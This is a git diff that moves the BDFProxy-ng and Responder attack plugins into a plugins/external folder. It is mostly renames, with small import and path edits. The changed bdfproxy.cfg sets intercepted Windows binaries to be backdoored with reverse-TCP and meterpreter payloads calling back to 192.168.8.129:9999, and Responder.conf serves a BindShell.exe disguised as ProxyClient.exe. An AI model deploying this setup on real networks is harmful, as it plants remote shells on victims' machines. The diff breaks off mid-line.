--git a/plugins/BDFProxy-ng/bdf/aPLib/doc/html/decompression.html b/plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/decompression.html similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/doc/html/decompression.html rename to plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/decompression.html diff --git a/plugins/BDFProxy-ng/bdf/aPLib/doc/html/general.html b/plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/general.html similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/doc/html/general.html rename to plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/general.html diff --git a/plugins/BDFProxy-ng/bdf/aPLib/doc/html/genindex.html b/plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/genindex.html similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/doc/html/genindex.html rename to plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/genindex.html diff --git a/plugins/BDFProxy-ng/bdf/aPLib/doc/html/index.html b/plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/index.html similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/doc/html/index.html rename to plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/index.html diff --git a/plugins/BDFProxy-ng/bdf/aPLib/doc/html/license.html b/plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/license.html similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/doc/html/license.html rename to plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/license.html diff --git a/plugins/BDFProxy-ng/bdf/aPLib/doc/html/objects.inv b/plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/objects.inv similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/doc/html/objects.inv rename to plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/objects.inv diff --git a/plugins/BDFProxy-ng/bdf/aPLib/doc/html/search.html b/plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/search.html similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/doc/html/search.html rename to plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/search.html diff --git a/plugins/BDFProxy-ng/bdf/aPLib/doc/html/searchindex.js b/plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/searchindex.js similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/doc/html/searchindex.js rename to plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/searchindex.js diff --git a/plugins/BDFProxy-ng/bdf/aPLib/example/appack.c b/plugins/external/BDFProxy-ng/bdf/aPLib/example/appack.c similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/example/appack.c rename to plugins/external/BDFProxy-ng/bdf/aPLib/example/appack.c diff --git a/plugins/BDFProxy-ng/bdf/aPLib/example/make_bcc.bat b/plugins/external/BDFProxy-ng/bdf/aPLib/example/make_bcc.bat similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/example/make_bcc.bat rename to plugins/external/BDFProxy-ng/bdf/aPLib/example/make_bcc.bat diff --git a/plugins/BDFProxy-ng/bdf/aPLib/example/make_dll.bat b/plugins/external/BDFProxy-ng/bdf/aPLib/example/make_dll.bat similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/example/make_dll.bat rename to plugins/external/BDFProxy-ng/bdf/aPLib/example/make_dll.bat diff --git a/plugins/BDFProxy-ng/bdf/aPLib/example/make_pc.bat b/plugins/external/BDFProxy-ng/bdf/aPLib/example/make_pc.bat similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/example/make_pc.bat rename to plugins/external/BDFProxy-ng/bdf/aPLib/example/make_pc.bat diff --git a/plugins/BDFProxy-ng/bdf/aPLib/example/make_vc.bat b/plugins/external/BDFProxy-ng/bdf/aPLib/example/make_vc.bat similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/example/make_vc.bat rename to plugins/external/BDFProxy-ng/bdf/aPLib/example/make_vc.bat diff --git a/plugins/BDFProxy-ng/bdf/aPLib/example/make_wat.bat b/plugins/external/BDFProxy-ng/bdf/aPLib/example/make_wat.bat similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/example/make_wat.bat rename to plugins/external/BDFProxy-ng/bdf/aPLib/example/make_wat.bat diff --git a/plugins/BDFProxy-ng/bdf/aPLib/example/makefile.cyg b/plugins/external/BDFProxy-ng/bdf/aPLib/example/makefile.cyg similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/example/makefile.cyg rename to plugins/external/BDFProxy-ng/bdf/aPLib/example/makefile.cyg diff --git a/plugins/BDFProxy-ng/bdf/aPLib/example/makefile.elf b/plugins/external/BDFProxy-ng/bdf/aPLib/example/makefile.elf similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/example/makefile.elf rename to plugins/external/BDFProxy-ng/bdf/aPLib/example/makefile.elf diff --git a/plugins/BDFProxy-ng/bdf/aPLib/example/makefile.macho b/plugins/external/BDFProxy-ng/bdf/aPLib/example/makefile.macho similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/example/makefile.macho rename to plugins/external/BDFProxy-ng/bdf/aPLib/example/makefile.macho diff --git a/plugins/BDFProxy-ng/bdf/aPLib/example/makefile.mgw b/plugins/external/BDFProxy-ng/bdf/aPLib/example/makefile.mgw similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/example/makefile.mgw rename to plugins/external/BDFProxy-ng/bdf/aPLib/example/makefile.mgw diff --git a/plugins/BDFProxy-ng/bdf/aPLib/readme.txt b/plugins/external/BDFProxy-ng/bdf/aPLib/readme.txt similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/readme.txt rename to plugins/external/BDFProxy-ng/bdf/aPLib/readme.txt diff --git a/plugins/BDFProxy-ng/bdf/aPLib/src/32bit/crc32.asm b/plugins/external/BDFProxy-ng/bdf/aPLib/src/32bit/crc32.asm similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/src/32bit/crc32.asm rename to plugins/external/BDFProxy-ng/bdf/aPLib/src/32bit/crc32.asm diff --git a/plugins/BDFProxy-ng/bdf/aPLib/src/32bit/depack.asm b/plugins/external/BDFProxy-ng/bdf/aPLib/src/32bit/depack.asm similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/src/32bit/depack.asm rename to plugins/external/BDFProxy-ng/bdf/aPLib/src/32bit/depack.asm diff --git a/plugins/BDFProxy-ng/bdf/aPLib/src/32bit/depackf.asm b/plugins/external/BDFProxy-ng/bdf/aPLib/src/32bit/depackf.asm similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/src/32bit/depackf.asm rename to plugins/external/BDFProxy-ng/bdf/aPLib/src/32bit/depackf.asm diff --git a/plugins/BDFProxy-ng/bdf/aPLib/src/32bit/depacks.asm b/plugins/external/BDFProxy-ng/bdf/aPLib/src/32bit/depacks.asm similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/src/32bit/depacks.asm rename to plugins/external/BDFProxy-ng/bdf/aPLib/src/32bit/depacks.asm diff --git a/plugins/BDFProxy-ng/bdf/aPLib/src/32bit/scheck.asm b/plugins/external/BDFProxy-ng/bdf/aPLib/src/32bit/scheck.asm similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/src/32bit/scheck.asm rename to plugins/external/BDFProxy-ng/bdf/aPLib/src/32bit/scheck.asm diff --git a/plugins/BDFProxy-ng/bdf/aPLib/src/32bit/sdepack.asm b/plugins/external/BDFProxy-ng/bdf/aPLib/src/32bit/sdepack.asm similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/src/32bit/sdepack.asm rename to plugins/external/BDFProxy-ng/bdf/aPLib/src/32bit/sdepack.asm diff --git a/plugins/BDFProxy-ng/bdf/aPLib/src/32bit/sgetsize.asm b/plugins/external/BDFProxy-ng/bdf/aPLib/src/32bit/sgetsize.asm similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/src/32bit/sgetsize.asm rename to plugins/external/BDFProxy-ng/bdf/aPLib/src/32bit/sgetsize.asm diff --git a/plugins/BDFProxy-ng/bdf/aPLib/src/32bit/spack.asm b/plugins/external/BDFProxy-ng/bdf/aPLib/src/32bit/spack.asm similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/src/32bit/spack.asm rename to plugins/external/BDFProxy-ng/bdf/aPLib/src/32bit/spack.asm diff --git a/plugins/BDFProxy-ng/bdf/aPLib/src/64bit/crc32.asm b/plugins/external/BDFProxy-ng/bdf/aPLib/src/64bit/crc32.asm similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/src/64bit/crc32.asm rename to plugins/external/BDFProxy-ng/bdf/aPLib/src/64bit/crc32.asm diff --git a/plugins/BDFProxy-ng/bdf/aPLib/src/64bit/depack.asm b/plugins/external/BDFProxy-ng/bdf/aPLib/src/64bit/depack.asm similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/src/64bit/depack.asm rename to plugins/external/BDFProxy-ng/bdf/aPLib/src/64bit/depack.asm diff --git a/plugins/BDFProxy-ng/bdf/aPLib/src/64bit/depackf.asm b/plugins/external/BDFProxy-ng/bdf/aPLib/src/64bit/depackf.asm similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/src/64bit/depackf.asm rename to plugins/external/BDFProxy-ng/bdf/aPLib/src/64bit/depackf.asm diff --git a/plugins/BDFProxy-ng/bdf/aPLib/src/64bit/depacks.asm b/plugins/external/BDFProxy-ng/bdf/aPLib/src/64bit/depacks.asm similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/src/64bit/depacks.asm rename to plugins/external/BDFProxy-ng/bdf/aPLib/src/64bit/depacks.asm diff --git a/plugins/BDFProxy-ng/bdf/aPLib/src/64bit/scheck.asm b/plugins/external/BDFProxy-ng/bdf/aPLib/src/64bit/scheck.asm similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/src/64bit/scheck.asm rename to plugins/external/BDFProxy-ng/bdf/aPLib/src/64bit/scheck.asm diff --git a/plugins/BDFProxy-ng/bdf/aPLib/src/64bit/sdepack.asm b/plugins/external/BDFProxy-ng/bdf/aPLib/src/64bit/sdepack.asm similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/src/64bit/sdepack.asm rename to plugins/external/BDFProxy-ng/bdf/aPLib/src/64bit/sdepack.asm diff --git a/plugins/BDFProxy-ng/bdf/aPLib/src/64bit/sgetsize.asm b/plugins/external/BDFProxy-ng/bdf/aPLib/src/64bit/sgetsize.asm similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/src/64bit/sgetsize.asm rename to plugins/external/BDFProxy-ng/bdf/aPLib/src/64bit/sgetsize.asm diff --git a/plugins/BDFProxy-ng/bdf/aPLib/src/64bit/spack.asm b/plugins/external/BDFProxy-ng/bdf/aPLib/src/64bit/spack.asm similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/src/64bit/spack.asm rename to plugins/external/BDFProxy-ng/bdf/aPLib/src/64bit/spack.asm diff --git a/plugins/BDFProxy-ng/bdf/aPLib/src/depack.c b/plugins/external/BDFProxy-ng/bdf/aPLib/src/depack.c similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/src/depack.c rename to plugins/external/BDFProxy-ng/bdf/aPLib/src/depack.c diff --git a/plugins/BDFProxy-ng/bdf/aPLib/src/depack.h b/plugins/external/BDFProxy-ng/bdf/aPLib/src/depack.h similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/src/depack.h rename to plugins/external/BDFProxy-ng/bdf/aPLib/src/depack.h diff --git a/plugins/BDFProxy-ng/bdf/aPLib/src/depacks.c b/plugins/external/BDFProxy-ng/bdf/aPLib/src/depacks.c similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/src/depacks.c rename to plugins/external/BDFProxy-ng/bdf/aPLib/src/depacks.c diff --git a/plugins/BDFProxy-ng/bdf/aPLib/src/depacks.h b/plugins/external/BDFProxy-ng/bdf/aPLib/src/depacks.h similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/src/depacks.h rename to plugins/external/BDFProxy-ng/bdf/aPLib/src/depacks.h diff --git a/plugins/BDFProxy-ng/bdf/arm/LinuxARMLELF32.py b/plugins/external/BDFProxy-ng/bdf/arm/LinuxARMLELF32.py similarity index 100% rename from plugins/BDFProxy-ng/bdf/arm/LinuxARMLELF32.py rename to plugins/external/BDFProxy-ng/bdf/arm/LinuxARMLELF32.py diff --git a/plugins/sslstrip/__init__.py b/plugins/external/BDFProxy-ng/bdf/arm/__init__.py similarity index 100% rename from plugins/sslstrip/__init__.py rename to plugins/external/BDFProxy-ng/bdf/arm/__init__.py diff --git a/plugins/Responder/logs/.gitignore b/plugins/external/BDFProxy-ng/bdf/asm/__init__.py similarity index 100% rename from plugins/Responder/logs/.gitignore rename to plugins/external/BDFProxy-ng/bdf/asm/__init__.py diff --git a/plugins/BDFProxy-ng/bdf/asm/build.py b/plugins/external/BDFProxy-ng/bdf/asm/build.py similarity index 100% rename from plugins/BDFProxy-ng/bdf/asm/build.py rename to plugins/external/BDFProxy-ng/bdf/asm/build.py diff --git a/plugins/BDFProxy-ng/bdf/asm/src/loadliba_reverse_tcp.asm b/plugins/external/BDFProxy-ng/bdf/asm/src/loadliba_reverse_tcp.asm similarity index 100% rename from plugins/BDFProxy-ng/bdf/asm/src/loadliba_reverse_tcp.asm rename to plugins/external/BDFProxy-ng/bdf/asm/src/loadliba_reverse_tcp.asm diff --git a/plugins/BDFProxy-ng/bdf/asm/src/loadliba_shell.asm b/plugins/external/BDFProxy-ng/bdf/asm/src/loadliba_shell.asm similarity index 100% rename from plugins/BDFProxy-ng/bdf/asm/src/loadliba_shell.asm rename to plugins/external/BDFProxy-ng/bdf/asm/src/loadliba_shell.asm diff --git a/plugins/BDFProxy-ng/bdf/asm/src/loadliba_single_shell_reverse_tcp.asm b/plugins/external/BDFProxy-ng/bdf/asm/src/loadliba_single_shell_reverse_tcp.asm similarity index 100% rename from plugins/BDFProxy-ng/bdf/asm/src/loadliba_single_shell_reverse_tcp.asm rename to plugins/external/BDFProxy-ng/bdf/asm/src/loadliba_single_shell_reverse_tcp.asm diff --git a/plugins/BDFProxy-ng/bdf/backdoor.py b/plugins/external/BDFProxy-ng/bdf/backdoor.py similarity index 100% rename from plugins/BDFProxy-ng/bdf/backdoor.py rename to plugins/external/BDFProxy-ng/bdf/backdoor.py diff --git a/plugins/BDFProxy-ng/bdf/elfbin.py b/plugins/external/BDFProxy-ng/bdf/elfbin.py similarity index 100% rename from plugins/BDFProxy-ng/bdf/elfbin.py rename to plugins/external/BDFProxy-ng/bdf/elfbin.py diff --git a/plugins/BDFProxy-ng/bdf/install.sh b/plugins/external/BDFProxy-ng/bdf/install.sh similarity index 100% rename from plugins/BDFProxy-ng/bdf/install.sh rename to plugins/external/BDFProxy-ng/bdf/install.sh diff --git a/plugins/BDFProxy-ng/bdf/intel/FreeBSDIntelELF32.py b/plugins/external/BDFProxy-ng/bdf/intel/FreeBSDIntelELF32.py similarity index 100% rename from plugins/BDFProxy-ng/bdf/intel/FreeBSDIntelELF32.py rename to plugins/external/BDFProxy-ng/bdf/intel/FreeBSDIntelELF32.py diff --git a/plugins/BDFProxy-ng/bdf/intel/LinuxIntelELF32.py b/plugins/external/BDFProxy-ng/bdf/intel/LinuxIntelELF32.py similarity index 100% rename from plugins/BDFProxy-ng/bdf/intel/LinuxIntelELF32.py rename to plugins/external/BDFProxy-ng/bdf/intel/LinuxIntelELF32.py diff --git a/plugins/BDFProxy-ng/bdf/intel/LinuxIntelELF64.py b/plugins/external/BDFProxy-ng/bdf/intel/LinuxIntelELF64.py similarity index 100% rename from plugins/BDFProxy-ng/bdf/intel/LinuxIntelELF64.py rename to plugins/external/BDFProxy-ng/bdf/intel/LinuxIntelELF64.py diff --git a/plugins/BDFProxy-ng/bdf/intel/MachoIntel32.py b/plugins/external/BDFProxy-ng/bdf/intel/MachoIntel32.py similarity index 100% rename from plugins/BDFProxy-ng/bdf/intel/MachoIntel32.py rename to plugins/external/BDFProxy-ng/bdf/intel/MachoIntel32.py diff --git a/plugins/BDFProxy-ng/bdf/intel/MachoIntel64.py b/plugins/external/BDFProxy-ng/bdf/intel/MachoIntel64.py similarity index 100% rename from plugins/BDFProxy-ng/bdf/intel/MachoIntel64.py rename to plugins/external/BDFProxy-ng/bdf/intel/MachoIntel64.py diff --git a/plugins/BDFProxy-ng/bdf/intel/WinIntelPE32.py b/plugins/external/BDFProxy-ng/bdf/intel/WinIntelPE32.py similarity index 100% rename from plugins/BDFProxy-ng/bdf/intel/WinIntelPE32.py rename to plugins/external/BDFProxy-ng/bdf/intel/WinIntelPE32.py diff --git a/plugins/BDFProxy-ng/bdf/intel/WinIntelPE64.py b/plugins/external/BDFProxy-ng/bdf/intel/WinIntelPE64.py similarity index 100% rename from plugins/BDFProxy-ng/bdf/intel/WinIntelPE64.py rename to plugins/external/BDFProxy-ng/bdf/intel/WinIntelPE64.py diff --git a/plugins/Responder/tools/MultiRelay/creddump/README b/plugins/external/BDFProxy-ng/bdf/intel/__init__.py similarity index 100% rename from plugins/Responder/tools/MultiRelay/creddump/README rename to plugins/external/BDFProxy-ng/bdf/intel/__init__.py diff --git a/plugins/BDFProxy-ng/bdf/intel/intelCore.py b/plugins/external/BDFProxy-ng/bdf/intel/intelCore.py similarity index 100% rename from plugins/BDFProxy-ng/bdf/intel/intelCore.py rename to plugins/external/BDFProxy-ng/bdf/intel/intelCore.py diff --git a/plugins/BDFProxy-ng/bdf/intel/intelmodules.py b/plugins/external/BDFProxy-ng/bdf/intel/intelmodules.py similarity index 100% rename from plugins/BDFProxy-ng/bdf/intel/intelmodules.py rename to plugins/external/BDFProxy-ng/bdf/intel/intelmodules.py diff --git a/plugins/BDFProxy-ng/bdf/machobin.py b/plugins/external/BDFProxy-ng/bdf/machobin.py similarity index 100% rename from plugins/BDFProxy-ng/bdf/machobin.py rename to plugins/external/BDFProxy-ng/bdf/machobin.py diff --git a/plugins/Responder/tools/MultiRelay/relay-dumps/.gitignore b/plugins/external/BDFProxy-ng/bdf/onionduke/__init__.py similarity index 100% rename from plugins/Responder/tools/MultiRelay/relay-dumps/.gitignore rename to plugins/external/BDFProxy-ng/bdf/onionduke/__init__.py diff --git a/plugins/BDFProxy-ng/bdf/onionduke/onionduke.py b/plugins/external/BDFProxy-ng/bdf/onionduke/onionduke.py similarity index 100% rename from plugins/BDFProxy-ng/bdf/onionduke/onionduke.py rename to plugins/external/BDFProxy-ng/bdf/onionduke/onionduke.py diff --git a/plugins/BDFProxy-ng/bdf/payloadtests.py b/plugins/external/BDFProxy-ng/bdf/payloadtests.py similarity index 99% rename from plugins/BDFProxy-ng/bdf/payloadtests.py rename to plugins/external/BDFProxy-ng/bdf/payloadtests.py index b02c0b8..2bcc466 100644 --- a/plugins/BDFProxy-ng/bdf/payloadtests.py +++ b/plugins/external/BDFProxy-ng/bdf/payloadtests.py @@ -32,11 +32,12 @@ ''' -import pebin -import machobin -import elfbin -import sys import os +import sys + +import elfbin +import machobin +import pebin def basicDiscovery(FILE): diff --git a/plugins/BDFProxy-ng/bdf/pebin.py b/plugins/external/BDFProxy-ng/bdf/pebin.py similarity index 99% rename from plugins/BDFProxy-ng/bdf/pebin.py rename to plugins/external/BDFProxy-ng/bdf/pebin.py index 63eb751..bef63ca 100644 --- a/plugins/BDFProxy-ng/bdf/pebin.py +++ b/plugins/external/BDFProxy-ng/bdf/pebin.py @@ -30,30 +30,31 @@ ''' -import sys +import cStringIO +import operator import os -import struct -import shutil import platform -import stat -import time -import subprocess -import pefile -import operator -import cStringIO import random -import string import re +import shutil +import stat +import string +import struct +import subprocess +import sys +import time from random import choice -from winapi import winapi -from intel.intelCore import intelCore -from intel.intelmodules import eat_code_caves + +import pefile + from intel.WinIntelPE32 import winI32_shellcode from intel.WinIntelPE64 import winI64_shellcode +from intel.intelCore import intelCore +from intel.intelmodules import eat_code_caves from onionduke import onionduke from onionduke.onionduke import write_rsrc from onionduke.onionduke import xor_file - +from winapi import winapi MachineTypes = {'0x0': 'AnyMachineType', '0x1d3': 'Matsushita AM33', diff --git a/plugins/BDFProxy-ng/bdf/update.sh b/plugins/external/BDFProxy-ng/bdf/update.sh similarity index 100% rename from plugins/BDFProxy-ng/bdf/update.sh rename to plugins/external/BDFProxy-ng/bdf/update.sh diff --git a/plugins/dns2proxy/victims.cfg b/plugins/external/BDFProxy-ng/bdf/winapi/__init__.py similarity index 100% rename from plugins/dns2proxy/victims.cfg rename to plugins/external/BDFProxy-ng/bdf/winapi/__init__.py diff --git a/plugins/BDFProxy-ng/bdf/winapi/winapi.py b/plugins/external/BDFProxy-ng/bdf/winapi/winapi.py similarity index 100% rename from plugins/BDFProxy-ng/bdf/winapi/winapi.py rename to plugins/external/BDFProxy-ng/bdf/winapi/winapi.py diff --git a/plugins/BDFProxy-ng/bdf_proxy.py b/plugins/external/BDFProxy-ng/bdf_proxy.py similarity index 99% rename from plugins/BDFProxy-ng/bdf_proxy.py rename to plugins/external/BDFProxy-ng/bdf_proxy.py index 6972127..fcc1bb6 100755 --- a/plugins/BDFProxy-ng/bdf_proxy.py +++ b/plugins/external/BDFProxy-ng/bdf_proxy.py @@ -761,8 +761,8 @@ def handle_response(self, flow): ################################## START MAIN ####################################### -CONFIGFILE = "plugins/BDFProxy-ng/bdfproxy.cfg" -BDFOLDER = "/plugins/BDFProxy-ng/backdoored" +CONFIGFILE = "plugins/external/BDFProxy-ng/bdfproxy.cfg" +BDFOLDER = "/plugins/external/BDFProxy-ng/backdoored" # Initial CONFIG reading userConfig = ConfigObj(CONFIGFILE) diff --git a/plugins/BDFProxy-ng/bdfproxy.cfg b/plugins/external/BDFProxy-ng/bdfproxy.cfg similarity index 98% rename from plugins/BDFProxy-ng/bdfproxy.cfg rename to plugins/external/BDFProxy-ng/bdfproxy.cfg index 5cc1b00..d7ea352 100644 --- a/plugins/BDFProxy-ng/bdfproxy.cfg +++ b/plugins/external/BDFProxy-ng/bdfproxy.cfg @@ -24,7 +24,7 @@ sslports = 443, 8443 loglevel = INFO logname = logs/AccessPoint/bdfproxy.log - resourceScriptFile = plugins/BDFProxy-ng/bdfproxy_msf_resource.rc + resourceScriptFile = plugins/external/BDFProxy-ng/bdfproxy_msf_resource.rc supportedArchiveTypes = ZIP, TAR, AR, DEB, LZMA supportedBinaryTypes = application/octet-stream, application/x-msdownload, application/x-msdos-program, binary/octet-stream, application/x-executable, application/x-dosexec @@ -189,22 +189,22 @@ MSFPAYLOAD = linux/x64/shell_reverse_tcp [[[WindowsIntelx86]]] - PATCH_TYPE = SINGLE + SHELL = iat_reverse_tcp_stager_threaded MSFPAYLOAD = windows/meterpreter/reverse_tcp PATCH_DLL = True HOST = 192.168.8.129 - SHELL = iat_reverse_tcp_stager_threaded + PATCH_TYPE = SINGLE SUPPLIED_SHELLCODE = None ZERO_CERT = False PATCH_METHOD = automatic PORT = 9999 [[[WindowsIntelx64]]] - PATCH_TYPE = APPEND + SHELL = iat_reverse_tcp_stager_threaded MSFPAYLOAD = windows/x64/shell/reverse_tcp PATCH_DLL = False HOST = 192.168.8.129 - SHELL = iat_reverse_tcp_stager_threaded + PATCH_TYPE = APPEND SUPPLIED_SHELLCODE = None ZERO_CERT = True PATCH_METHOD = automatic diff --git a/plugins/BDFProxy-ng/bdfproxy_msf_resource.rc b/plugins/external/BDFProxy-ng/bdfproxy_msf_resource.rc similarity index 100% rename from plugins/BDFProxy-ng/bdfproxy_msf_resource.rc rename to plugins/external/BDFProxy-ng/bdfproxy_msf_resource.rc diff --git a/plugins/BDFProxy-ng/requirements.txt b/plugins/external/BDFProxy-ng/requirements.txt similarity index 100% rename from plugins/BDFProxy-ng/requirements.txt rename to plugins/external/BDFProxy-ng/requirements.txt diff --git a/plugins/BDFProxy-ng/test_script.sh b/plugins/external/BDFProxy-ng/test_script.sh similarity index 100% rename from plugins/BDFProxy-ng/test_script.sh rename to plugins/external/BDFProxy-ng/test_script.sh diff --git a/plugins/BDFProxy-ng/wpBDF.sh b/plugins/external/BDFProxy-ng/wpBDF.sh similarity index 100% rename from plugins/BDFProxy-ng/wpBDF.sh rename to plugins/external/BDFProxy-ng/wpBDF.sh diff --git a/plugins/Responder/.gitignore b/plugins/external/Responder/.gitignore similarity index 100% rename from plugins/Responder/.gitignore rename to plugins/external/Responder/.gitignore diff --git a/plugins/Responder/LICENSE b/plugins/external/Responder/LICENSE similarity index 100% rename from plugins/Responder/LICENSE rename to plugins/external/Responder/LICENSE diff --git a/plugins/Responder/README.md b/plugins/external/Responder/README.md similarity index 100% rename from plugins/Responder/README.md rename to plugins/external/Responder/README.md diff --git a/plugins/Responder/Responder.conf b/plugins/external/Responder/Responder.conf similarity index 92% rename from plugins/Responder/Responder.conf rename to plugins/external/Responder/Responder.conf index 5e4ce41..c6ae985 100644 --- a/plugins/Responder/Responder.conf +++ b/plugins/external/Responder/Responder.conf @@ -75,10 +75,10 @@ Serve-Exe = Off Serve-Html = Off # Custom HTML to serve -HtmlFilename = plugins/Responder/files/AccessDenied.html +HtmlFilename = plugins/external/Responder/files/AccessDenied.html # Custom EXE File to serve -ExeFilename = plugins/Responder/files/BindShell.exe +ExeFilename = plugins/external/Responder/files/BindShell.exe # Name of the downloaded .exe that the client will see ExeDownloadName = ProxyClient.exe @@ -94,5 +94,5 @@ HTMLToInject = Loading. -import utils import ConfigParser import subprocess +import utils from utils import * __version__ = 'Responder 2.3.3.0' @@ -241,7 +241,7 @@ def populate(self, options): Message = "Current environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(NetworkCard,DNS,RoutingInfo) try: utils.DumpConfig(self.ResponderConfigDump, Message) - utils.DumpConfig(self.ResponderConfigDump,str(self)) + utils.DumpConfig(self.ResponderConfigDump, str(self)) except AttributeError as ex: print "Missing Module:", ex pass diff --git a/plugins/Responder/tools/BrowserListener.py b/plugins/external/Responder/tools/BrowserListener.py similarity index 100% rename from plugins/Responder/tools/BrowserListener.py rename to plugins/external/Responder/tools/BrowserListener.py diff --git a/plugins/Responder/tools/DHCP.py b/plugins/external/Responder/tools/DHCP.py similarity index 100% rename from plugins/Responder/tools/DHCP.py rename to plugins/external/Responder/tools/DHCP.py diff --git a/plugins/Responder/tools/DHCP_Auto.sh b/plugins/external/Responder/tools/DHCP_Auto.sh similarity index 100% rename from plugins/Responder/tools/DHCP_Auto.sh rename to plugins/external/Responder/tools/DHCP_Auto.sh diff --git a/plugins/Responder/tools/FindSMB2UPTime.py b/plugins/external/Responder/tools/FindSMB2UPTime.py similarity index 100% rename from plugins/Responder/tools/FindSMB2UPTime.py rename to plugins/external/Responder/tools/FindSMB2UPTime.py diff --git a/plugins/Responder/tools/FindSQLSrv.py b/plugins/external/Responder/tools/FindSQLSrv.py similarity index 100% rename from plugins/Responder/tools/FindSQLSrv.py rename to plugins/external/Responder/tools/FindSQLSrv.py diff --git a/plugins/Responder/tools/Icmp-Redirect.py b/plugins/external/Responder/tools/Icmp-Redirect.py similarity index 100% rename from plugins/Responder/tools/Icmp-Redirect.py rename to plugins/external/Responder/tools/Icmp-Redirect.py diff --git a/plugins/Responder/tools/MultiRelay.py b/plugins/external/Responder/tools/MultiRelay.py similarity index 100% rename from plugins/Responder/tools/MultiRelay.py rename to plugins/external/Responder/tools/MultiRelay.py diff --git a/plugins/Responder/tools/MultiRelay/RelayMultiCore.py b/plugins/external/Responder/tools/MultiRelay/RelayMultiCore.py similarity index 100% rename from plugins/Responder/tools/MultiRelay/RelayMultiCore.py rename to plugins/external/Responder/tools/MultiRelay/RelayMultiCore.py diff --git a/plugins/Responder/tools/MultiRelay/RelayMultiPackets.py b/plugins/external/Responder/tools/MultiRelay/RelayMultiPackets.py similarity index 100% rename from plugins/Responder/tools/MultiRelay/RelayMultiPackets.py rename to plugins/external/Responder/tools/MultiRelay/RelayMultiPackets.py diff --git a/plugins/external/Responder/tools/MultiRelay/__init__.py b/plugins/external/Responder/tools/MultiRelay/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/plugins/Responder/tools/MultiRelay/creddump/CHANGELOG b/plugins/external/Responder/tools/MultiRelay/creddump/CHANGELOG similarity index 100% rename from plugins/Responder/tools/MultiRelay/creddump/CHANGELOG rename to plugins/external/Responder/tools/MultiRelay/creddump/CHANGELOG diff --git a/plugins/Responder/tools/MultiRelay/creddump/COPYING b/plugins/external/Responder/tools/MultiRelay/creddump/COPYING similarity index 100% rename from plugins/Responder/tools/MultiRelay/creddump/COPYING rename to plugins/external/Responder/tools/MultiRelay/creddump/COPYING diff --git a/plugins/external/Responder/tools/MultiRelay/creddump/README b/plugins/external/Responder/tools/MultiRelay/creddump/README new file mode 100644 index 0000000..e69de29 diff --git a/plugins/external/Responder/tools/MultiRelay/creddump/__init__.py b/plugins/external/Responder/tools/MultiRelay/creddump/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/plugins/Responder/tools/MultiRelay/creddump/cachedump.py b/plugins/external/Responder/tools/MultiRelay/creddump/cachedump.py similarity index 100% rename from plugins/Responder/tools/MultiRelay/creddump/cachedump.py rename to plugins/external/Responder/tools/MultiRelay/creddump/cachedump.py diff --git a/plugins/external/Responder/tools/MultiRelay/creddump/framework/__init__.py b/plugins/external/Responder/tools/MultiRelay/creddump/framework/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/plugins/Responder/tools/MultiRelay/creddump/framework/addrspace.py b/plugins/external/Responder/tools/MultiRelay/creddump/framework/addrspace.py similarity index 100% rename from plugins/Responder/tools/MultiRelay/creddump/framework/addrspace.py rename to plugins/external/Responder/tools/MultiRelay/creddump/framework/addrspace.py diff --git a/plugins/Responder/tools/MultiRelay/creddump/framework/newobj.py 